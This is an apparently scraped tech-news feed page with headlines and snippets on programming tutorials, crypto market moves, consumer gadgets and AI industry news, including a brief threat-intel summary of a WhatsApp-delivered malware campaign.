    Introdução E se seu código pudesse anunciar quando algo importante acontece, ao invés de você ter que conectar manualmente todos os sistemas interessados? E se adicionar novos comportamentos não exigisse modificar código existente? Bem-vindo ao mundo dos Domain Events! Imagine que você precisa implementar: "Quando um cliente for aprovado, envie email e notifique vendas". @Service public class CustomerService { @Autowired private EmailService emailService; @Autowired private SalesNotificationService salesService; public void approveCustomer(UUID customerId) { Customer customer = repository.findById(customerId); customer.setStatus(APPROVED); repository.save(customer); emailService.sendApprovalEmail(customer); salesService.notifySalesTea…  ( 11 min )
    Terraform Basics Week 3: Managing Variables with tfvars Files
    Table of Contents 1. Recap of Week 2 2. What is a tfvars file, how do I create one and why should i use it ? 3. Handling Sensitive Values Safely 4. Variable Precedence in Terraform 5. Using .tfvars files instead of environment variables 6. Deploy to Azure – Testing the configuration using tfvars values 7. Wrap-Up GitHub Link for this week's files 1. Recap of Week 2 Last week we introduced variables in Terraform and saw how they make our configuration more reusable. Instead of hard-coding values directly in resource blocks, we created a variables.tf file and referenced values using var.variable_name. By the end of Week 2 our project structure was cleaner and more scalable, but managing a growing number of values purely through environment variables can become cumbersome. That’s where .tfva…  ( 10 min )
    Code Smell 314 - Model Collapse
    When AI assistants repeatedly modify code without human oversight, code quality erodes through accumulated micro-decisions TL;DR: You let repeated AI edits slowly distort your code’s meaning Unclear intent Naming drift Readability Lost domain terms Duplicated logic Generic abstractions Model collapse Semantic decay Code entropy accumulation Lost domain knowledge Degraded naming clarity Architectural drift Code inbreeding Technical debt buildup Semantic meaning loss Preserve domain-specific language Review every AI change Write golden tests Introduce small objects Reject unclear edits in merge requests and code reviews Fight workslop code Refactorings ⚙️ Refactoring 013 - Remove Repeated Code Maxi Contieri ・ Jun 16 '24 #webdev #beginners #programmi…  ( 10 min )
    Competências Essenciais para um Desenvolvedor Ruby on Rails
    1. Fundamentos da Linguagem Ruby Sintaxe, classes, módulos e mixins Orientação a objetos aplicada Blocks, Procs e Lambdas Enumeráveis e coleções Metaprogramação prática Tratamento de exceções MVC completo (Models, Views, Controllers) Active Record e callbacks Active Model e validations Active Support (concerns, inflectors, helpers) Action Controller e filtros Action View e helpers SQL avançado Migrations Associação entre modelos (belongs_to, has_many, has_one, has_many :through, etc.) Indexação, performance e EXPLAIN Transações e locking Uso de PostgreSQL (JSONB, CTEs, funções) Uso de Oracle/MySQL conforme necessidade Arel e construção de queries Scopes e ransackers Otimização: includes, preload, eager_load Joins complexos Queries com CTEs Estratégias de N+1 Rails API mode Versionamento…  ( 7 min )
    Compiling Window Maker in a Debian-based OS
    I wanted to study Window Maker source code and change a few things. To do that, I need to compile it from source and change ligthdm to use my custom compiled version. Unfortunately, there is not much documentation about compiling Window Maker from source, so I am adding it here so others (and myself in the future) can reuse this. Start by installing deb packages needed to compile Window Maker # Build tools sudo apt-get install build-essential \ autoconf automake libtool gettext git # Base libraries sudo apt-get install libx11-dev libsm-dev \ libpango1.0-dev libbsd-dev # Image libraries sudo apt-get install libxft-dev libfontconfig-dev libfreetype6-dev \ libxpm-dev libjpeg-dev libpng-dev libtiff-dev libgif-dev libwebp-dev \ # Imagemagick library support sudo apt-get install libmagickwand-dev Let's create the alternative installation directory sudo mkdir -p /opt/wmaker # Optionally, change ownership to your user to simplify later changes sudo chown $(id -u):$(id -g) /opt/wmaker git clone https://repo.or.cz/wmaker-crm.git cd wmaker-crm ./configure --prefix=/opt/wmaker \ --enable-modelock \ --enable-pango make -j $(nproc) # add sudo if you didn't change /opt/wmaker ownership make install # or if you don't want debug symbols (results are 5MiB binaries) make install-strip And last, let's create a custom session file to select our custom Window Maker Edit with your favorite text editor: sudo edit /usr/share/xsessions/wmaker-custom.desktop Add the following content: [Desktop Entry] Name=Window Maker Custom Comment=Use Window Maker from /opt/wmaker Exec=/opt/wmaker/bin/wmaker Icon=wmaker Type=XSession Restart with: sudo /etc/init.d/lightdm restart # or sudo systemctl restart lightdm.service That's all. Now you can enjoy your own compiled version of Window Maker Compiling Window Maker in a Debian-based OS  ( 7 min )
    Fixing emoji support in the Linux terminal
    Recently, tired of the huge accidental complexity of Gnome and KDE, I decided to switch back to Window Maker (again). Being a big terminal user, when I was setting up the terminal, I noticed that emojis were not being displayed correctly by Starship prompt. First thing, I installed Nerd Fonts from their website nerdfonts.com. Guess what - no emojis. Then, digging a bit more, I found that some emojis were being displayed properly, but curiously the ones being displayed by Starship prompt were all missing. To my luck, there is a deb package that contains all the Emojis and can be used as a fallback for missing emojis: sudo apt-get install fonts-noto-color-emoji After installing it and restarting the terminal, I got all emojis being properly rendered. Finally an easy one. Fixing emoji support in the Linux terminal  ( 6 min )
    Mastering JavaScript map(): Hidden Pitfalls and Smarter Patterns
    JavaScript’s Array.prototype.map() is simple on the surface yet surprisingly deep once you inspect how callbacks, types, coercion, and encoding work under the hood. One of the most infamous examples — [1,2,3].map(parseInt) — looks harmless but produces confusing output that often appears in interviews. This guide breaks everything down clearly: how map() really works, why parseInt misbehaves, how NaN is detected, how wrapper objects make "text".length possible, and why emoji “length” is unintuitive. Each section includes modern examples and best-practice patterns. map() Actually Works 1.1 Syntax and Basic Behavior map() creates a brand-new array using your callback’s return values. The original array is never modified. const transformed = sourceList.map( (itemValue, itemPosi…  ( 7 min )
  • Open

    DappRadar Shuts Down, Citing ‘Financially Unsustainable’ Market
    Launched in 2018, the platform had grown into one of the most prominent analytics hubs for on-chain activity.  ( 33 min )
    Bitcoin Slips Below $93K as Crypto Weakness Worsens, but Local Bottom Could Be Near, Analysts Say
    Leader in cryptocurrency, Bitcoin, Ethereum, XRP, blockchain, DeFi, digital finance and Web 3.0 news with analysis, video and live price updates.  ( 35 min )
    What Next For Dogecoin as Bitcoin 'Death Cross' Puts Major Memecoin in Crosshairs
    Bitcoin's Death Cross, a bearish signal, occurred as the 50-day moving average fell below the 200-day moving average.  ( 36 min )
    XRP Slumps 5% as Bitcoin's Break Under $93,000 Leads to Bearish Outlook For Majors
    Broader crypto markets are pressured by weak risk sentiment and technical trading patterns.  ( 34 min )
    Kindly MD Delays Earnings Report Filing as Merger Losses Mount; Shares Drop
    Complex post-merger accounting prompts a late filing while losses mount and the shares slip further.  ( 32 min )
    Figure Stock Jumps as Druckenmiller Invests $77M, Analysts Raise Price Targets
    Analysts cited Figure’s shift to ‘capital-light’ model and stablecoin launch on the Provenance blockchain.  ( 31 min )
    Trump’s Maldives Hotel Will Be a Tokenized Real Estate Project
    The Trump International Hotel Maldives, developed with Dar Global, will be tokenized to allow investors to buy digital shares in the development.  ( 32 min )
    Cboe to Debut Bitcoin, Ether ‘Perpetual-Style’ Crypto Futures on Dec. 15
    The contracts will offer long-term crypto exposure without rollovers, tailored for institutions avoiding offshore risk.  ( 32 min )
    Stellar Slips as Key Support Breaks, Signaling Mounting Bearish Momentum
    A sharp volume-driven breakdown below XLM’s ascending trendline and critical support at $0.2527 has shifted the market structure bearish, setting sights on the $0.2500 zone  ( 33 min )
    High-Stakes Gambler Liquidated for $168M After Shorting the Bottom of Crypto Plunge
    A high-stakes crypto trader was wiped out on HyperLiquid before immediately piling back into massive leveraged shorts on GMX — echoing past blow-ups from reckless market punters.  ( 31 min )
    HBAR Breaks Key Support as Bearish Sentiment Overpowers DeFi Momentum
    Technical breakdown accelerated as selling pressure peaked during final hours of trading session.  ( 32 min )
    Bitcoin Accumulation Amid Market Weakness? Sharp Rise in 1K BTC Holders Suggests So
    Rising whale activity hints at strategic positioning during bitcoin’s downturn.  ( 32 min )
    Internet Computer Slides as Break Below $5.00 Reinforces Bearish Technical Shift
    ICP extended its pullback from November highs after rejecting key resistance levels, with elevated volume underscoring the market’s focus on support near $4.70.  ( 32 min )
    Figment, OpenTrade and Crypto.com Offer 15% Stablecoin Yield Product for Institutions
    The new offering uses SOL staking and futures to deliver returns without price exposure, targeting compliance-minded investors.  ( 32 min )
    BitMine Immersion Acquires $173M in Ether as Tom Lee Suggests Reason Behind Crypto Weakness
    The Bitmine chairman said a wounded market maker could be scaling back operations, tightening crypto liquidity and weighing on digital asset prices.  ( 32 min )
    DeFi Lender Aave to Roll Out Retail Crypto Yield App on Apple’s App Store
    With the Aave App, users will be able to earn over 5% annual yield on their deposits, higher than money market funds, the protocol said in a blog post.  ( 31 min )
    CoinDesk 20 Performance Update: Internet Computer Drops 13.2%, Leading Index Lower
    Cronos (CRO) joined Internet Computer (ICP) as an underperformer, falling 5.8% over the weekend.  ( 28 min )
    Strategy Returns to Large Bitcoin Buys, Adding $835M Last Week
    Hamstrung from common share sales due to the cratering in their stock price, Michael Saylor and team turned to preferred share issuance.  ( 31 min )
    BONK Retreats as Resistance Rejection and Rising Volume Stall Uptrend
    BONK slipped back into its lower range after multiple failed pushes toward $0.00001090, with elevated trading activity underscoring consolidation.  ( 31 min )
    Still Hope for Bulls: Crypto Daybook Americas
    Your day-ahead look for Nov. 17, 2025  ( 38 min )
    Short-Term Holder Bitcoin Supply in Loss Climbs to Highest Level Since FTX Collapse
    U.S.-listed bitcoin ETF assets under management have slipped only about 4% compared with bitcoin’s 25% price drop, highlighting a divergence.  ( 33 min )
    Africa Embraces Stablecoins Via IOTA to Unlock $70B Pan-Continent Trade Tech
    Formed in partnership with the Tony Blair Institute and the WEF, the initiative aims to overhaul trade with USDT payments across 55 African nations.  ( 34 min )
    1inch Unveils Protocol Letting Multiple DeFi Strategies Share the Same Capital
    Aqua introduces a "shared liquidity layer" that enables capital from a single wallet to back multiple trading strategies simultaneously.  ( 32 min )
    Crypto Markets Today: Bitcoin, Ether Sink to Multimonth Lows as Liquidity Dries Up
    A bruising weekend confirmed a broader downtrend across major tokens, with shifting Fed rate-cut expectations and thin liquidity accelerating declines.  ( 34 min )
    Delayed U.S. Jobs Report, Zcash Network Upgrade: Crypto Week Ahead
    Your look at what's coming in the week starting Nov. 17.  ( 34 min )
    XRP Stands Out With 89% Gain as BTC, ETH, CD20 Fall to Muted Returns Over 365 Days
    Despite recent price losses, XRP is still up 89% on a 365-day basis.  ( 34 min )
    SGX Derivatives Debuts Bitcoin, Ether Perpetual Futures Tied to iEdge CoinDesk Crypto Indices
    New contracts will be available for trading from Nov. 24.  ( 34 min )
    Investigative Reporter Group ICIJ Exposes ‘Coin Laundry,’ Crypto’s Criminal Financial System
    A series of ICIJ reports unearth a litany of crypto-backed criminality including people trafficking operations, drug cartels, Russian criminal gangs and crypto-to-cash storefronts around the world.  ( 33 min )
    'Fat-Finger' Fail? Cardano Whale Torches $6M After Hitting Illiquid USDA Pool
    The decision to route through an illiquid micro-cap stablecoin might go down as one of the year’s most costly errors.  ( 32 min )
    What Next for Crypto Bulls as ETH, XRP, SOL, ADA Drop 8–16% in a Week
    Technically, bitcoin’s break below the monthly mid-range at $100,266 cleared a key liquidity shelf, exposing a fast-track slide into thinner regions. Near-term support sits at $93,000 to $95,000.  ( 33 min )
    Bitcoin Market Memory Shaken: BTC's Bounce Zone Broken In Strategy-Like Bear Move
    Bitcoin has fallen below a key support level, breaking a bullish pattern.  ( 31 min )
  • Open

    How to Build a Portfolio Website Using Figma and AI Tools – A Guide for Developers
    Ever since my article on How to Become a Full Stack Developer and Get a Job in 2025 went viral, I’ve received countless DMs, emails, and even WhatsApp messages from readers. People have been asking about everything from learning to code and mastering...  ( 26 min )
    How to Add Real-Time Web Search to Your LLM Using Tavily
    Large language models are smart. But they are not always well-informed. They can write code, summarize books, and explain complex topics, but they struggle with real-time facts. Their knowledge ends at their training cutoff, which means they can’t te...  ( 7 min )
    How to Create Fluid Animations with React Native Reanimated v4
    Reanimated 4 brings Cascading Style Sheets (CSS) animations to React Native while keeping full backward compatibility with its worklet-based API. You can now build 60+ frames-per-second (FPS) animations using familiar web syntax, or drop down to work...  ( 17 min )
    Intro to Backend Web Development – Node.js, Express, MongoDB
    Backend development involves building the server-side "brain" of a website that manages user data, authentication, and database communication. We just posted a tutorial on the freeCodeCamp.org YouTube channel that will teach you how to construct a ba...  ( 4 min )
  • Open

    The State of AI: How war will be changed forever
    Welcome back to The State of AI, a new collaboration between the Financial Times and MIT Technology Review. Every Monday, writers from both publications debate one aspect of the generative AI revolution reshaping global power. In this conversation, Helen Warrell, FT investigations reporter and former defense and security editor, and James O’Donnell, MIT Technology Review’s…  ( 26 min )
    The Download: the risk of falling space debris, and how to debunk a conspiracy theory
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. What is the chance your plane will be hit by space debris? The risk of flights being hit by space junk is still small, but it’s growing. About three pieces of old space…  ( 21 min )
    What is the chance your plane will be hit by space debris?
    MIT Technology Review Explains: Let our writers untangle the complex, messy world of technology to help you understand what’s coming next. You can read more from the series here. In mid-October, a mysterious object cracked the windshield of a packed Boeing 737 cruising at 36,000 feet above Utah, forcing the pilots into an emergency landing.…  ( 25 min )
  • Open

    Kobo Libra Colour Lightning Review: Not Quite A Jack Of All Trades
    The Kobo Libra Colour has been around for quite some time now, having been launched last year. As one of the fancier offerings on the market, the eReader comes with a few extra features that add more utility without detracting from its main purpose. At least, that’s the general idea anyway. As to how it […] The post Kobo Libra Colour Lightning Review: Not Quite A Jack Of All Trades appeared first on Lowyat.NET.  ( 41 min )
    Selangor Aims Nuclear Energy Adoption Within Next Five Years
    Selangor Menteri Besar Amirudin Shari told the State Legislative Assembly today that the state is expected to begin adopting nuclear energy as a clean power source in five years. In response to a query by Mariam Abdul Rashid (PH-Meru) on Selangor’s plans and timeline for nuclear-based energy, Amirudin said the state is still in the […] The post Selangor Aims Nuclear Energy Adoption Within Next Five Years appeared first on Lowyat.NET.  ( 34 min )
    Apple Reportedly Shelves Mac Pro Refresh In Favour Of Mac Studio
    It seems that Apple has no intentions on releasing a new Mac Pro anytime soon. According to a report by Bloomberg’s Mark Gurman, the tech giant has relegated the desktop to the back burner. With a 2026 refresh unlikely to happen, the future of the Mac Pro isn’t looking too good. For those paying attention […] The post Apple Reportedly Shelves Mac Pro Refresh In Favour Of Mac Studio appeared first on Lowyat.NET.  ( 34 min )
    Leapmotor Malaysia Confirms B10 Debut; Opens Early Bookings
    Recently, Leapmotor Malaysia announced the debut of a new model for the local market. Today, the automaker confirmed that the model is indeed the B10, as many had expected. The company also revealed that bookings for the SUV will open on 17 November, suggesting that the official launch may be sooner than anticipated. The pre-launch […] The post Leapmotor Malaysia Confirms B10 Debut; Opens Early Bookings appeared first on Lowyat.NET.  ( 34 min )
    Fahmi: Malaysia Ranks Among World’s Cheapest For Mobile Data
    Malaysia offers some of the lowest mobile internet rates globally, according to Communications Minister Datuk Fahmi Fadzil. He said the country’s cost per gigabyte is among the cheapest worldwide and continues to improve as operators streamline their offerings. Speaking at a reception with the Malaysian diaspora at Rumah Malaysia in Azerbaijan on 16 November, Fahmi […] The post Fahmi: Malaysia Ranks Among World’s Cheapest For Mobile Data appeared first on Lowyat.NET.  ( 34 min )
    Porsche Explains How Its Wireless Charging Plate Works With The Cayenne EV
    Porsche revealed a new wireless charging technology at IAA Mobility 2025, which will be featured in the upcoming Cayenne Electric. This technology eliminates the need for a wall-box charger and the manual task of plugging in your vehicle. Recently, the automaker updated the details on the wireless charging, giving a deeper insight into the tech. […] The post Porsche Explains How Its Wireless Charging Plate Works With The Cayenne EV appeared first on Lowyat.NET.  ( 36 min )
    Government To Amend Three Laws In 2026 For MLFF Rollout
    Our government is expected to table three amendments during next year’s Parliament sitting, in order to address its multi-lane fast flow (MLFF) toll collection system that has long been in the works. The three laws that are expected to be amended are the Federal Roads Act 1959, the Road Transport Act 1987, and the Malaysian […] The post Government To Amend Three Laws In 2026 For MLFF Rollout appeared first on Lowyat.NET.  ( 34 min )
    POCO F8 Series To Launch 26 November 2025 Globally
    The POCO F7 series may have only made its debut earlier this year, but its successor is already on the way. The POCO F8 lineup has a confirmed launch date, and it’s pretty soon. The event will take place next week on 26 November 2025 at 4PM in Bali, Indonesia. The F8 series is expected […] The post POCO F8 Series To Launch 26 November 2025 Globally appeared first on Lowyat.NET.  ( 34 min )
    Belkin Issues Recall For Three Charging Devices Over Manufacturing Defect
    Belkin has issued a recall for three of its products due to manufacturing defects. The products in question are an Auto-Tracking Stand Pro charging stand, and two 20,000mAh power banks, the BoostCharge USB-C PD 20K and Playa USB-C PD 20K. “A manufacturing defect may cause the products’ lithium-ion cell components to overheat, which could pose […] The post Belkin Issues Recall For Three Charging Devices Over Manufacturing Defect appeared first on Lowyat.NET.  ( 34 min )
    Nissan N6 PHEV Debuts In China
    The Dongfeng-Nissan N6 has officially made its debut in China, and is currently available for pre-booking. Serving as the brand’s first plug-in hybrid (PHEV) sedan developed under Dongfeng Nissan’s new energy technology architecture, the N6 shares its technological foundation with the popular all-electric N7 sedan. Not only does the N6 share its platform with the […] The post Nissan N6 PHEV Debuts In China appeared first on Lowyat.NET.  ( 34 min )
    DJI Osmo Pocket 4 Spotted Again; May Launch 18 December
    DJI has launched a few products in the last couple of weeks, but the long-rumoured Osmo Pocket 4 has yet to make its official appearance. Of course, it has been spotted in the wild before. Leaksters have also been revealing details on the upcoming vlogging camera. This time, a new live image depicting the device […] The post DJI Osmo Pocket 4 Spotted Again; May Launch 18 December appeared first on Lowyat.NET.  ( 34 min )
    Google Reportedly Developing Its Own Version Of NameDrop For Android
    Apple debuted iOS 17 in 2023 with a feature for sharing contact details called NameDrop. Essentially, it is an extension of AirDrop that lets users send and receive the information by simply bringing their iPhones close together. Now, it seems Google is working on its own take on the feature for Android, which may be […] The post Google Reportedly Developing Its Own Version Of NameDrop For Android appeared first on Lowyat.NET.  ( 34 min )
    NG MERS 999: New Emergency Response Services Launches In Malaysia
    Malaysia has officially launched the Next Generation Emergency Response Services 999 (NG MERS 999), its upgraded national emergency communication infrastructure developed through a collaboration between Telekom Malaysia Berhad (TM) and the Communications Ministry. The system went live on Sunday (16 November), replacing the long-running MERS 999 platform that TM had also developed and operated. In […] The post NG MERS 999: New Emergency Response Services Launches In Malaysia appeared first on Lowyat.NET.  ( 35 min )
    Valve’s Gabe Newell Takes Delivery Of New US$500 Million Yacht With Submarine Garage, Onboard Clinic
    Gabe Newell, better known as both Lord Gaben and the founder of Valve and the owner of Steam, recently made waves, figuratively and literally, after he took ownership of his super yacht. By super, that’s both in price and the sheer size of the damn thing. Gabe’s ship is known as the Leviathan, and was […] The post Valve’s Gabe Newell Takes Delivery Of New US$500 Million Yacht With Submarine Garage, Onboard Clinic appeared first on Lowyat.NET.  ( 35 min )
    Tim Cook Reportedly Preparing To Step Down As Apple CEO Next Year
    Apple may be gearing up for its biggest leadership change in more than a decade, as a new report from the Financial Times claims Tim Cook could leave his role as chief executive as soon as next year. Sources told the publication that Apple’s board and senior executives have begun accelerating their succession plans to […] The post Tim Cook Reportedly Preparing To Step Down As Apple CEO Next Year appeared first on Lowyat.NET.  ( 34 min )
  • Open

    Phi-4 proves that a 'data-first' SFT methodology is the new differentiator
    AI engineers often chase performance by scaling up LLM parameters and data, but the trend toward smaller, more efficient, and better-focused models has accelerated.  The Phi-4 fine-tuning methodology is the cleanest public example of a training approach that smaller enterprise teams can copy. It shows how a carefully chosen dataset and fine-tuning strategy can make a 14B model compete with much larger ones. The Phi-4 model was trained on just 1.4 million carefully chosen prompt-response pairs. Instead of brute force, the Microsoft Phi-4 research team focused on “teachable” examples at the edge of the model’s abilities and rigorous data curation.  The Phi-4 reasoning smart data playbook demonstrates how strategic data curation with replicable SFT and RL can elevate a 14B model beyond much l…
    In a sea of agents, AWS bets on structured adherence and spec fidelity
    Despite new methods emerging, enterprises continue to turn to autonomous coding agents and code generation platforms. The competition to keep developers working on their platforms, coming from tech companies, has also heated up. AWS thinks its offering, Kiro, and new capabilities to ensure behavioral adherence set up a large differentiator in the increasingly crowded coding agent space.  Kiro, first launched in July on public preview, is now generally available with new features, including property-based testing for behavior and a command-line interface (CLI) capability to tailor custom agents. Deepak Singh, AWS vice president for databases and AI, told VentureBeat in an interview that Kiro “keeps the fun” of coding while providing it structure. “The way I like to say it is, what Kiro does…

  • Open

    A new chapter begins for EV batteries with the expiry of key LFP patents
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    PicoIDE – An open IDE/ATAPI drive emulator
    Comments  ( 3 min )
    Britney Spears' Guide to Semiconductor Physics
    Comments  ( 1 min )
    Goldman Sachs asks in biotech Report: Is curing patients a sustainable business?
    Comments  ( 83 min )
    Why your mock breaks later
    Comments  ( 3 min )
    How Your Brain Creates 'Aha' Moments and Why They Stick
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    Peter Thiel sells off all Nvidia stock, stirring bubble fears
    Comments
    Call Me Maybe: Eavesdropping encrypted LTE calls with ReVoLTE (2020)
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    Why Castrol Honda Superbike crashes on (most) modern systems
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    The Pragmatic Programmer: 20th Anniversary Edition (2023)
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    I have recordings proving Coinbase knew about breach 4 months before disclosure
    Comments  ( 12 min )
    Adding an imaginary unit to a finite field
    Comments  ( 7 min )
    Linux mode setting, from the comfort of OCaml
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    62 chapter open-source Zig book
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    Tracking users with favicons, even in incognito mode
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    Dark Pattern Games
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    The fate of "small" open source
    Comments  ( 14 min )
    Pennies Are Trash Now
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  • Open

    Understanding the Different POST Content Types
    After more than 20 years of building for the web, this topic somehow kept slipping past me. It always felt obvious, so I never looked deeper. Recently I finally took the time to explore it properly, did some quick research, and now I’m sharing the results. Here’s a simple walkthrough of the different content types you can send in POST requests. When you submit a basic HTML form like , for example a login form, the browser sends the data using the application/x-www-form-urlencoded content type. The body of the request looks like a URL-encoded query string, the same format typically used in GET requests. Example: username=john_doe&password=pass123. A POST request with this content type using the fetch API looks like this: async function sendURLEncoded() {…  ( 11 min )
    StatefulSets & Persistent Storage in Kubernetes
    Kubernetes StatefulSets are the go-to solution for managing stateful applications that require stable identities, persistent storage, and ordered deployment patterns—essential for databases, distributed systems, and caching layers. If you're new to Kubernetes or setting up a cluster, consider exploring Kubernetes distributions like k3s or MicroK8s for development, or installing Kubernetes with Kubespray for production-grade clusters. This nice image on the cover is generated by AI model Flux 1 dev. StatefulSets are a Kubernetes workload API object designed specifically for managing stateful applications. Unlike Deployments that treat all pods as interchangeable, StatefulSets maintain a unique identity for each pod with guarantees about ordering and uniqueness. Key Features: Stable Network …  ( 11 min )
    Python Design Patterns for Clean Architecture
    Clean Architecture has revolutionized how developers build scalable, maintainable applications by emphasizing separation of concerns and dependency management. In Python, these principles combine with the language's dynamic nature to create flexible, testable systems that evolve with business requirements without becoming technical debt. Clean Architecture, introduced by Robert C. Martin (Uncle Bob), organizes software into concentric layers where dependencies point inward toward core business logic. This architectural pattern ensures that your application's critical business rules remain independent of frameworks, databases, and external services. The fundamental principle is simple yet powerful: business logic should not depend on infrastructure. Your domain entities, use cases, and busi…  ( 15 min )
    Go Unit Testing: Structure & Best Practices
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    Linux Data Science Stack: Jupyter, Pandas & Tools
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    Helm Charts: Kubernetes Package Management
    Helm has revolutionized Kubernetes application deployment by introducing package management concepts familiar from traditional operating systems. As Kubernetes adoption grows, managing complex applications with dozens of YAML files becomes challenging. Helm Charts solve this problem by bundling all resources into versioned, configurable packages. This nice image on the cover is generated by AI model Flux 1 dev. Helm is to Kubernetes what apt is to Debian, yum to RedHat, or Homebrew to macOS. It packages Kubernetes applications into Charts – collections of files that describe related Kubernetes resources. A single Chart might deploy a complete application stack: web servers, databases, caching layers, ingress rules, and monitoring components. For those new to Kubernetes, a Kubernetes Cheats…  ( 14 min )
    An AI Crew for Automated Diagramming and Documentation
    The Introduction Our cloud documentation is almost always out of date. It's not because we're lazy; it's because the cloud moves too fast. A diagram drawn in a sprint planning meeting is obsolete by the time the code hits production. This documentation crisis, that every engineering team faces, is a massive and invisible tax. Nobody talks about it, but we know that manual updates are expensive, error-prone, and always outdated when you need them most. The "cost" isn't just the 2-3 days of senior engineer time every quarter—it's the production incidents that could have been prevented, the security vulnerabilities you didn't know existed, and the new hires who take weeks to understand the system. I was tired of this cycle. So I built a solution that uses AI agents to automatically scan li…  ( 10 min )
    Writing your first LLVM Transformation Passes - Dead Code Elimination and Constant Propagation
    Introduction In the previous article, we learned about LLVM passes and wrote our first analysis pass, which counted the number of add instructions inside a module. In this new post, I will explore more of LLVM by implementing transformation passes that make use of several LLVM APIs. This will expose us to different ways of processing the IR and highlight the facilities LLVM provides to its users. The good news is that this article does not require much theory so we will dive directly into the code. Note that I will not be showing all of the pass code (specifically, the registration boilerplate), but I will provide a Gist link for the sake of completeness. Dead Code Elimination (DCE) is one of the first optimizations a compiler applies to remove unused results and regions of code that are…  ( 12 min )
    [Without jQuery] Rewriting in JavaScript Selectors Edition
    With the evolution of modern JavaScript, many of the roles once handled by jQuery can now be replaced with standard APIs. This article focuses on the highly demanded selectors and provides a comprehensive guide on how to migrate jQuery syntax to native JavaScript. $('*') Selects all elements. $('*') document.querySelectorAll('*') https://codepen.io/rundezv/pen/VYeoZjK $(':root') Selects the root element of the document. $(':root') document.querySelector(':root') https://codepen.io/rundezv/pen/ByKQWYj $('div') Selects all elements that match the specified tag name. $('div') document.querySelectorAll('div') https://codepen.io/rundezv/pen/gbrYrXW DIV1 DIV2 SPAN $('div') // => // [ // DIV1 , // DIV2</d…  ( 20 min )
    Building a Full-Stack Product Monitoring System: A Technical Deep Dive
    Overview This is a production-grade, full-stack application designed to monitor product availability on an e-commerce website. The system automatically tracks inventory changes, sends Discord notifications for new products and restocks, and provides a comprehensive admin dashboard for monitoring configuration. This technical deep-dive explores the architecture, design decisions, and implementation strategies behind building a scalable monitoring system capable of handling thousands of products with real-time notifications. The application follows a modern hybrid architecture combining TypeScript and Go microservices: ┌─────────────────┐ ┌─────────────────┐ ┌──────────────────┐ │ React 19 │─────▶│ Fastify │─────▶│ PostgreSQL 16 │ │ Frontend │◀─────│ Ba…  ( 15 min )
    🚀 Meet Noty: The Chrome Extension That Finally Fixed My Messy Workflow
    I didn’t expect a tiny Chrome extension to change how I work… but Noty did exactly that. If your browser looks like this: 20+ tabs open Bookmarks you never check Docs you lose daily Notes scattered everywhere Same. But here's what fixed it. 👇 Noty lets you: Save any page with Alt + S Take quick notes right inside your browser Tag + organize everything Search your saved stuff instantly Keep research, tutorials, docs, and ideas in one place It feels like bookmarks, notes, and a mini knowledge base—combined. I use it to: Save GitHub repos Keep track of tutorials Store StackOverflow answers Keep notes per project Capture tools I want to try later All without breaking my flow. No account. No setup. Just install → save → done. 👉 Add Noty to Chrome (Free) you save the most? Docs? Tutorials? Repos? Drop it in the comments — I want to see how others use Noty! If this helped you, hit ❤️ so more devs can find it!  ( 6 min )
    A cleaner, safer, plug-and-play NanoGPT
    Hey everyone! I’ve been working on NanoGPTForge, a modified version of Andrej Karpathy's nanoGPT that emphasizes simplicity, clean code, and type safety, while building directly on PyTorch primitives. It’s designed to be plug-and-play, so you can start experimenting quickly with minimal setup and focus on training or testing models right away. Contributions of any kind are welcome, whether it is refactoring code, adding new features, or expanding examples. I’d be glad to connect with others interested in collaborating! Check it out here: https://github.com/SergiuDeveloper/NanoGPTForge  ( 6 min )
    Python by Structure: Context Managers and the With Statement
    Timothy stared at his screen in frustration. His script had crashed halfway through processing a batch of log files, and now he couldn't open any of them. "Margaret, I keep getting 'too many open files' errors. But I'm closing them! Look - I have file.close() right here." Margaret walked over and examined his code: def process_logs(filenames): for filename in filenames: file = open(filename, 'r') data = file.read() if 'ERROR' in data: analyze_errors(data) return # Found errors, exit early file.close() "I see the problem," Margaret said gently. "When you return early, that close() never executes. The file stays open." Timothy's eyes widened. "Oh no. So if I find an error in the first file, all the other files stay open?" "Exactly…  ( 9 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ Deep Dive with Bill Simmons, Sean Fennessey & Van Lathan Bill Simmons, Sean Fennessey, and Van Lathan plunge into Brian De Palma’s ‘Snake Eyes’—breaking down Nic Cage’s high-voltage turn, Gary Sinise’s cop intrigue, and Carla Gugino’s standout moments. They unpack the film’s twisted plot, cinematic flair, and cult-classic status in true Ringer Movies fashion. This episode is powered by PayPal—score 5% cash back when you Pay in 4 through 12/31. Don’t miss this sewer-level exploration of one of De Palma’s wildest thrillers! Watch on YouTube  ( 6 min )
    WhatsApp malware campaign targeting Chrome credential vaults
    While hunting for malicious PowerShell techniques, we identified anomalous behavior indicative of staged payload execution. Initial Access & Delivery Chain Summary Threat actors leveraged WhatsApp as the initial access channel, sending messages to multiple employees within the organization to build trust before sharing a malicious ZIP file. Since ZIP files cannot be opened on mobile devices, users were compelled to access the archive on their endpoints, where they were deceived into executing an embedded VBScript payload. Execution of the VBScript initiated a multi-stage payload delivery mechanism, where it: Downloaded a secondary VBScript and an MSI installer from a remote C2 server (varegjopeaks[.]com) and saved them to the temporary directory. Executed the MSI file silently via msiexec…  ( 7 min )
    Synthesizing a project in ChatGPT to create content for my site.
    I'm publishing content generated by ChatGPT to my website: https://damien.house/practice/ It summarizes work I did between 2006 and 2012 to create a research and development practice for software development. I began by asking Gemini how to approach my prompt strategy: What are some good ways to customize the "Configure Chat" dialog box in NotebookLLM ? I've set "Define your conversational goal, style, or role" to Custom, so I can customize the chat. I want to tell it to use "warm and collaborative tone", that it's role in our chat is that of an executive coach for leaders in the software engineering field, that I'm a leader in software engineering, and that the role they fill is that of a coach, advisor, and assistant to me. it would be nice to use the same settings across NotebookLLM, ChatGPT, and Claude as they all have this feature. https://gemini.google.com/share/df2f63e07d9d I had a similar plan in mind in using NotebookLLM as more of a document generator (it produced the briefing doc and strategic plan that I later added to ChatGPT). I found an issue though in using this plan in Claude. The dialog didn't include any mention of the roles I had created. I didn't spend much time debugging or tweaking so I didn't have time to make it work. I left it out of my process in the end. I focused on using ChatGPT for this chat. Link to source material for reference: https://drive.google.com/drive/folders/1ObYcWf_DZanV68_ts2WR27MQX81LhQTt?usp=sharing  ( 6 min )
    Coding Challenge Practice - Question 57
